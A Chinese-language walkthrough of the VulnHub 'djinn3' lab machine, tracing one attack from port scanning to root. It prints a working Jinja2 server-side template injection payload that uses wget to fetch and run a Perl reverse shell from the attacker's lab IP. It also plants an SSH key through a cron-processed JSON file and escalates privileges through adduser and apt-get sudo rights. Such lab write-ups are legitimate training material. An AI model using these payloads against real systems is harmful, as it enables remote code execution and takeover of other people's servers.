djinn3 vulnhub 靶机渗透

靶机ip10.0.2.45，攻击机ip10.0.2.4

扫描靶机端口

进入80端口，没发现什么可用的信息

进入5000端口，这里查看所有的title内容，没发现什么可用的信息，看了大佬的博客，发现可用的用户guest

访问31337端口，发现

考虑有nc命令访问端口，发现可用guest去登录，密码也是guest

这里发现这里增加和删除的ticket就是5000端口的内容

 

 

 反复测试发现存在ssti漏洞

 

 这里是判断ssti模板引擎的方法，具体内容在这里

 

 

 以上结果说明ssti引擎是jinja2，网上搜集jinja2的反弹shell，网站是这里，搜索ssti的payload，得到

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

 我们把id改成wget，然后加上我们攻击机的反弹shell文件，我这里最先用的是php的反弹shell，发现有问题，就换成了perl，注意要改下文件里的ip和端口

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('wget http://10.0.2.4/perl-reverse-shell.pl;perl perl-reverse-shell.pl')|attr('read')()}}

然后把上面的内容放在31337端口新建的ticket里面，kali用python开启http服务，然后进入5000端口，点击link即可得到shell

 

 然后把pspy64上传到靶机的tmp目录里，pspy64是检测主机的进程工具，运行

发现存在两个py文件，搜索saint的文件

find / -user saint 2>/dev/null

 

 然后把上面两个文件的内容复制下来，放在靶机的文件里进行反编译。这里有难度的就是如何复制文件的完整内容，看了大佬的内容学会了基本操作，首先复制文件的十六进制的内容

xxd .configuration.cpython-38.pyc

 然后把显示出的东西都复制放在kali文件里，再就是十六进制转换成二进制。

xxd -r configure.pyc >> configure1.pyc

 另一个pyc文件的复制操作也同上，然后进入在线网站进行反编译

 有些代码看的不是很懂，看了大佬的解释，基本明白了。

新建一个以当下时间的文件，例如，21-1-2022.json，内容如下

{
        "URL":"http://10.0.2.4/authorized_keys",
        "Output":"/home/saint/.ssh/authorized_keys"
}

用ssh-keygen工具生成id_rsa.pub和id_rsa文件，keys文件就是id_rsa.pub的内容，然后kali开启http服务（这里由于靶机创建文件比较难，可以考在kali新建json文件，然后靶机去下载）

等待片刻，进入kali的/root/.ssh目录下，直接连接saint用户即可

 进入之后查看权限

存在一个增加用户的权限，添加一个root用户组的用户

 

 查看sudo用户

 发现存在一个jason的用户，可以执行apt-get的权限，但是查看passwd文件发现不存在这个用户，但是我们可以利用saint用户的adduser的权限增加一个jason用户，操作同上，然后登录

 网站gtfobins搜索apt-get的sudo提权方法，得到

测试之后发现第一个不可行，第三个方法可行

 

 直接运行sh文件